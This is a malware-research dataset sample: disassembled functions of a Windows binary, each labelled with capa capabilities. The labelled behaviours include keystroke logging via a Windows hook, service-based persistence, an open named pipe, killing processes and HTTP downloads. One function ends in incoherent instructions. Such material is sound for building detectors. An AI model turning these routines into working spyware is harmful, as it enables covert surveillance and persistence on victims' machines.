joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a7e6
Capabilities:
Check mutex on windows

Disassembly:
push esi
push str.ABCWatertekOnlineUpdate
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40a809
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40a813
push dword [esp + 8]
call fcn.0040aec7
pop ecx
test esi, esi
je 0x40a81e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
ret

Function at 0x40a820
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x43d9b0]
test eax, eax
je 0x40a839
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
and dword [0x43d9b0], 0
push 2
push dword [esp + 8]
call dword [sym.imp.USER32.dll_EndDialog]
xor eax, eax
ret

Function at 0x40a8a2
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x4203a0]
push esi
push edi
mov dword [ebp + 0x84], eax
push 0x40
xor eax, eax
mov byte [ebp - 0x80], 0
pop ecx
push dword [ebp + 0x90]
lea edi, [ebp - 0x7f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x80]
push eax
call fcn.0040dc40
lea eax, [ebp - 0x80]
push str.XJABCVer.ini
push eax
call fcn.0040dc50
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x10
lea eax, [ebp - 0x80]
push eax
call esi
push dword [ebp + 0x90]
lea eax, [ebp - 0x80]
push eax
call fcn.0040dc40
lea eax, [ebp - 0x80]
push str.XJABCSetup.exe
push eax
call fcn.0040dc50
add esp, 0x10
lea eax, [ebp - 0x80]
push eax
call esi
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x90]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov ecx, dword [ebp + 0x84]
pop edi
pop esi
call fcn.0040ddfc
add ebp, 0x88
leave
ret
Function at 0x40a949
Capabilities:
Check if file exists
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4203a0]
push ebx
push esi
push edi
mov dword [ebp - 4], eax
push 0x40
xor eax, eax
pop ecx
mov byte [ebp - 0x20c], 0
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
pop ecx
xor eax, eax
mov byte [ebp - 0x108], 0
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor ebx, ebx
mov edi, str._sAbcCyInstUpdate_d_
push ebx
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.0040de70
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
je 0x40a9e5
lea eax, [ebp - 0x108]
push eax
call fcn.0040a8a2
inc ebx
cmp ebx, 0x7d0
pop ecx
jl 0x40a9aa
xor ebx, ebx
push ebx
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x108]
push edi
push eax
call fcn.0040de70
add esp, 0x10
lea eax, [ebp - 0x108]
push eax
call esi
test eax, eax
je 0x40aa22
lea eax, [ebp - 0x108]
push eax
call fcn.0040a8a2
inc ebx
cmp ebx, 0x7d0
pop ecx
jl 0x40a9e7
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp dword [ebp + 8], 0
pop edi
pop esi
pop ebx
je 0x40aa4b
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call fcn.0040dc40
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
call fcn.0040ddfc
leave
ret

Function at 0x40adf7
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, 0x439cb0
push edi
mov ecx, esi
call fcn.00408089
push eax
xor ebx, ebx
push ebx
mov ecx, esi
call fcn.00409968
mov esi, dword [esp + 0x10]
push 0x43b9d4
push esi
mov dword [0x43d9ac], esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov edi, dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x43ba54
push 0x13ee
push esi
call edi
push 0x43bbdc
push 0x13ef
push esi
call edi
push 0x43a364
push 2
push esi
call edi
push esi
call fcn.00409b4e
pop ecx
push ebx
push ebx
push ebx
push 0x40aded
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov dword [0x43d9b0], eax
xor eax, eax
pop esi
inc eax
pop ebx
ret

Function at 0x40b40f
Capabilities:
Enumerate gui resources
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c28
call fcn.0040e770
mov eax, dword [0x4203a0]
push edi
push 0x1c24
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c28]
push 0
push eax
call fcn.0040de10
add esp, 0xc
lea eax, [ebp - 0x1c28]
push eax
push 0x40b380
call dword [sym.imp.USER32.dll_EnumWindows]
xor edi, edi
cmp dword [ebp - 8], edi
jle 0x40b47d
push esi
lea esi, [ebp - 0x1c28]
push dword [esi]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
inc edi
add esi, 0x48
cmp edi, dword [ebp - 8]
jl 0x40b45b
pop esi
mov ecx, dword [ebp - 4]
xor eax, eax
inc eax
pop edi
call fcn.0040ddfc
leave
ret
Function at 0x40b48b
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c28
call fcn.0040e770
mov eax, dword [0x4203a0]
push esi
push 0x1c24
mov dword [ebp - 4], eax
xor esi, esi
lea eax, [ebp - 0x1c28]
push esi
push eax
call fcn.0040de10
add esp, 0xc
lea eax, [ebp - 0x1c28]
push eax
push 0x40b380
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [ebp - 8], esi
jle 0x40b4d0
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
call fcn.0040ddfc
leave
ret

Function at 0x40b502
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0x30
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
sub esi, dword [ebp - 8]
sub edi, dword [ebp - 4]
add esi, dword [ebp - 0x18]
add edi, dword [ebp - 0x14]
push 1
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x41
push 0
push 0
add edi, 0xfffffffe
push edi
add esi, 0xfffffffe
push esi
push 0xffffffffffffffff
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowPos]
pop edi
pop esi
leave
ret
Function at 0x40b5bd
Capabilities:
Hide graphical window

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x43d9c4]
mov edi, dword [esp + 0x18]
push edi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push dword [0x43d9c0]
mov esi, dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0x1faf
push edi
call esi
push dword [0x43d9c8]
push 1
push edi
call esi
push dword [0x43d9cc]
push 0x1fb0
push edi
call esi
push dword [0x43d9d0]
mov ebx, 0x1fb1
push ebx
push edi
call esi
push dword [0x43d9d4]
mov ebp, 0x1fa6
push ebp
push edi
call esi
cmp dword [0x43d9b4], 0
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
jne 0x40b658
push 6
push edi
mov dword [0x43d9b4], 1
call esi
push 9
push edi
call esi
push 3
xor eax, eax
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.USER32.dll_SetWindowPos]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [0x43d9bc]
test al, 4
je 0x40b6b5
push 0
push 1
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 1
push 0x1fb0
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 1
push ebx
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push ebp
mov ebp, dword [sym.imp.USER32.dll_GetDlgItem]
push edi
call ebp
push eax
call esi
test byte [0x43d9bd], 1
je 0x40b6a8
push ebx
jmp 0x40b6ad
push 0x1fb0
push edi
call ebp
jmp 0x40b776
mov ecx, eax
and ecx, 5
cmp cl, 5
jne 0x40b6f8
push 0
push 1
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push 0x1fb0
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push edi
call ebx
push eax
call esi
push 1
push ebp
push edi
call ebx
push eax
call esi
jmp 0x40b73c
test al, 1
push 1
push 1
push edi
je 0x40b73f
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push 0x1fb0
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push edi
call ebx
push eax
call esi
push 1
push ebp
push edi
call ebx
push eax
call esi
test byte [0x43d9bd], 1
je 0x40b771
push ebp
jmp 0x40b773
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push 0x1fb0
push edi
call dword [sym.imp.USER32.dll_GetDlgItem]
push eax
call esi
push 0
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetDlgItem]
push edi
call ebx
push eax
call esi
push 0
push ebp
push edi
call ebx
push eax
call esi
push 1
push edi
call ebx
push eax
call dword [sym.imp.USER32.dll_SetFocus]
test byte [0x43d9be], 2
je 0x40b78d
push edi
call fcn.0040b502
pop ecx
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
ret
Function at 0x40b8c8
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov eax, 0x501c
lea ebp, [esp - 0x4f9c]
call fcn.0040e770
mov eax, dword [0x4203a0]
push ebx
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push 0x41c8a8
mov dword [ebp + 0x4f98], eax
xor edi, edi
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, ebx
mov dword [ebp - 0x80], eax
je 0x40ba34
push esi
push ebx
push 0x84000002
push ebx
push ebx
push dword [ebp + 0x4fa4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x78], esi
je 0x40ba2a
push ebx
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x68]
push eax
push 5
push esi
mov dword [ebp - 0x6c], 0x5000
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x40b954
lea eax, [ebp - 0x68]
push eax
call fcn.0040f955
pop ecx
mov dword [ebp - 0x74], eax
jmp 0x40b95b
mov dword [ebp - 0x74], 0x64000
push 0x41a4c0
push dword [ebp + 0x4fa8]
call fcn.0040e628
pop ecx
pop ecx
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x6c]
push eax
mov edi, 0x400
push edi
lea eax, [ebp - 0x68]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x40ba00
cmp dword [ebp - 0x6c], 0
jbe 0x40ba06
cmp dword [ebp - 0x70], 0
je 0x40b9a7
push dword [ebp - 0x70]
lea eax, [ebp - 0x68]
push dword [ebp - 0x6c]
push 1
push eax
call fcn.0040e580
add esp, 0x10
add ebx, dword [ebp - 0x6c]
cmp dword [ebp + 0x4fac], 0
je 0x40b9f4
test ebx, ebx
mov dword [ebp - 0x7c], ebx
fild dword [ebp - 0x7c]
push 0
jge 0x40b9c5
fadd qword [0x41c8a0]
mov eax, dword [ebp - 0x74]
fmul qword [0x41c898]
test eax, eax
fild dword [ebp - 0x74]
jge 0x40b9db
fadd qword [0x41c8a0]
fdivp st(1)
call fcn.0040f8e0
push eax
push 0x402
push dword [ebp + 0x4fac]
call dword [sym.imp.USER32.dll_SendMessageA]
lea eax, [ebp - 0x6c]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
push dword [ebp - 0x78]
call esi
test eax, eax
jne 0x40b987
cmp dword [ebp - 0x70], 0
je 0x40ba15
push dword [ebp - 0x70]
call fcn.0040e26f
pop ecx
cmp ebx, dword [ebp - 0x74]
je 0x40ba27
cmp dword [ebp - 0x74], 0x64000
je 0x40ba27
xor edi, edi
jmp 0x40ba2a
xor edi, edi
inc edi
push dword [ebp - 0x80]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp + 0x4f98]
mov eax, edi
pop edi
pop ebx
call fcn.0040ddfc
add ebp, 0x4f9c
leave
ret
Function at 0x40bec0
Capabilities:
Connect pipe
Create pipe
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 1
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea ecx, [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x18], 1
lea edx, [ebp - 0x14]
mov dword [ebp - 0x1c], edx
mov eax, 1
test eax, eax
je 0x40bfc1
lea ecx, [ebp - 0x20]
push ecx
push 0x3e8
push 0x800
push 0x800
push 0xff
push 6
push 3
mov edx, dword [str..pipec20ukdrwpipe_winnt]
push edx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x43e204], eax
cmp dword [0x43e204], 0xffffffff
jne 0x40bf41
xor eax, eax
jmp 0x40bfc4
push 0
mov eax, dword [0x43e204]
push eax
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40bf6c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x40bf6c
mov dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0
je 0x40bfa5
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [0x43e204]
push edx
push 0x40c010
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40bf99
jmp 0x40bfc1
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40bfbc
mov ecx, dword [0x43e204]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x43e204], 0
jmp 0x40bef6
mov eax, dword [ebp - 0x28]
mov esp, ebp
pop ebp
ret
Function at 0x40c3c0
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 0x420350
call fcn.0040c360
add esp, 4
test eax, eax
je 0x40c3e4
mov eax, 1
jmp 0x40c4f3
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c403
xor eax, eax
jmp 0x40c4f3
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x42033c
test ecx, ecx
je 0x40c482
movsx edx, byte [0x42033c]
test edx, edx
je 0x40c482
push 0x41c8f4
lea eax, [ebp - 0x110]
push eax
call fcn.0040ef40
add esp, 8
mov dword [ebp - 0x114], eax
mov ecx, dword [ebp - 0x114]
movsx edx, byte [ecx]
cmp edx, 0x5c
je 0x40c464
mov eax, dword [ebp - 0x114]
sub eax, 1
mov dword [ebp - 0x114], eax
jmp 0x40c445
mov ecx, dword [ebp - 0x114]
mov byte [ecx + 1], 0
push 0x42033c
lea edx, [ebp - 0x110]
push edx
call fcn.0040dc50
add esp, 8
push 0
push 0
push 0x41c8f9
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 1
push 2
push 0x10
push 0xf01ff
push 0x420350
push 0x420350
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40c4cc
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40c4f3
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x40c500
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0x420350
call fcn.0040c360
add esp, 4
test eax, eax
jne 0x40c521
mov eax, 1
jmp 0x40c5a8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c53d
xor eax, eax
jmp 0x40c5a8
push 0x10020
push 0x420350
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40c568
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x40c5a8
lea edx, [ebp - 0x28]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 8], 0
je 0x40c5a6
mov eax, 1
jmp 0x40c5a8
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x40d870
Capabilities:
Log keystrokes via application hook

Disassembly:
push edi
xor eax, eax
mov ecx, 0x20
mov edi, 0x43e218
rep stosd dword es:[edi], eax
xor ecx, ecx
mov dword [0x43e2b0], ecx
mov dword [0x43e2b4], ecx
mov dword [0x43e2b8], ecx
mov dword [0x43e2bc], ecx
cmp dword [0x43e2a0], eax
mov dword [0x43e20c], eax
mov dword [0x43e2c0], eax
pop edi
jne 0x40d8c6
mov edx, dword [0x43e214]
push eax
push edx
push 0x40d1b0
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x43e2a0], eax
mov eax, 1
ret
Function at 0x40f2f2
Capabilities:
Parse pe header

Disassembly:
push 0x60
push 0x41ca08
call fcn.0040f530
mov edi, 0x94
mov eax, edi
call fcn.0040e770
mov dword [ebp - 0x18], esp
mov esi, esp
mov dword [esi], edi
push esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ecx, dword [esi + 0x10]
mov dword [0x43e460], ecx
mov eax, dword [esi + 4]
mov dword [0x43e46c], eax
mov edx, dword [esi + 8]
mov dword [0x43e470], edx
mov esi, dword [esi + 0xc]
and esi, 0x7fff
mov dword [0x43e464], esi
cmp ecx, 2
je 0x40f352
or esi, 0x8000
mov dword [0x43e464], esi
shl eax, 8
add eax, edx
mov dword [0x43e468], eax
xor esi, esi
push esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x40f38d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f38d
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x40f3a5
cmp eax, 0x20b
je 0x40f392
mov dword [ebp - 0x1c], esi
jmp 0x40f3b9
cmp dword [ecx + 0x84], 0xe
jbe 0x40f38d
xor eax, eax
cmp dword [ecx + 0xf8], esi
jmp 0x40f3b3
cmp dword [ecx + 0x74], 0xe
jbe 0x40f38d
xor eax, eax
cmp dword [ecx + 0xe8], esi
setne al
mov dword [ebp - 0x1c], eax
push 1
call fcn.004113ed
pop ecx
test eax, eax
jne 0x40f3cd
push 0x1c
call 0xabf2ce
pop eax
sbb cl, 0x38
sub ebp, 0x5210dd9f
jmp 0x40f3de
cmp ebp, 0xf65d
ja 0x40f3eb
movzx esi, bp
or esi, ebp
add eax, 0xfffff9eb
je 0x40f3f3
add eax, 0x616
add eax, 0x616
jne 0x40f402
mov bl, ah
imul ebp, esi, 0x72e1c911
jno 0x40f40c
lea esi, [0xba8f00ae]
xchg dh, dl
cmp edi, edi
jbe 0x40f416
mov ch, ah
xchg ecx, ecx
or dl, cl
cmp eax, 0x178
jb 0x40f3cd
imul edx, esi
imul edx, ebp
lea ebx, [0xb6b62b4d]
push 0xaa1ab2
push edi
sbb ebx, eax
test esi, edi
push edi
jmp 0x40f43e
jbe 0x40f441
jb 0x40f445
jb 0x40f445
sub ebp, eax
add eax, edx
lea edx, [0x7ab8ac32]
mov cl, 0x67
xchg ebx, edx
jae 0x40f455
bnd ret
ret
Function at 0x410c0b
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x4203a0]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x410c3c
xor eax, eax
jmp 0x410dc5
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x43ea00]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x410c78
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.0041574e
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x410d53
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x410d91
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x410cdc
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x410ccd
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x410cad
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x410d1c
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x410d25
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x410c9e
jmp 0x410d27
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x410dc0
cmp dword [ebp - 0x6c], edi
je 0x410d91
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x410d86
call fcn.0041122c
mov dword [eax], 9
call fcn.00411235
mov dword [eax], esi
jmp 0x410dbb
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x410d7b
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x410d27
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x410d27
push dword [ebp - 0x6c]
call fcn.0041123e
pop ecx
jmp 0x410dbb
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x410da9
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x410da9
xor eax, eax
jmp 0x410dc3
call fcn.0041122c
mov dword [eax], 0x1c
call fcn.00411235
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x410dc3
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.0040ddfc
add ebp, 0x3a0
leave
ret
Function at 0x412dfd
Capabilities:
Terminate process

Disassembly:
push 8
push 0x41ce50
call fcn.0040f530
push 8
call fcn.00411093
pop ecx
xor edi, edi
mov dword [ebp - 4], edi
xor esi, esi
inc esi
cmp dword [0x43e4a0], esi
jne 0x412e31
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [0x43e49c], esi
mov al, byte [ebp + 0x10]
mov byte [0x43e498], al
cmp dword [ebp + 0xc], edi
jne 0x412e7b
cmp dword [0x43eb08], edi
je 0x412e6b
mov eax, dword [0x43eb04]
sub eax, 4
mov dword [0x43eb04], eax
cmp eax, dword [0x43eb08]
jb 0x412e6b
mov eax, dword [eax]
cmp eax, edi
je 0x412e4c
call eax
jmp 0x412e4c
push 0x420048
mov eax, 0x420040
call fcn.00412d7b
pop ecx
push 0x420054
mov eax, 0x42004c
call fcn.00412d7b
pop ecx
or dword [ebp - 4], 0xffffffff
call 0x412eac
cmp dword [ebp + 0x10], edi
jne 0x412eba
mov dword [0x43e4a0], esi
push dword [ebp + 8]
call fcn.00412d39
xor edi, edi
xor esi, esi
inc esi
cmp dword [ebp + 0x10], edi
je 0x412eb9
push 8
call fcn.00410fde
pop ecx
ret
call fcn.0040f56b
ret

Function at 0x4133d5
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x4203a0]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x420948]
je 0x41340a
inc eax
cmp eax, 0x13
jb 0x4133fb
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x420948]
jne 0x413530
mov eax, dword [0x43e2e0]
cmp eax, 1
je 0x413508
cmp eax, edx
jne 0x41343a
cmp dword [0x4203c4], 1
je 0x413508
cmp ecx, 0xfc
je 0x413530
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x413470
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.0040dc40
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.0040dd40
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x4134a4
mov eax, edi
push eax
call fcn.0040dd40
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x41cad4
push edi
call fcn.00414e60
add esp, 0x10
push edi
call fcn.0040dd40
push dword [esi + 0x42094c]
mov ebx, eax
call fcn.0040dd40
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.0040e770
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.0040dc40
push edi
push ebx
call fcn.0040dc50
push 0x41cad0
push ebx
call fcn.0040dc50
push dword [esi + 0x42094c]
push ebx
call fcn.0040dc50
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.00414d61
add esp, 0x2c
jmp 0x413530
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x42094c]
push dword [esi]
call fcn.0040dd40
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.0040ddfc
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret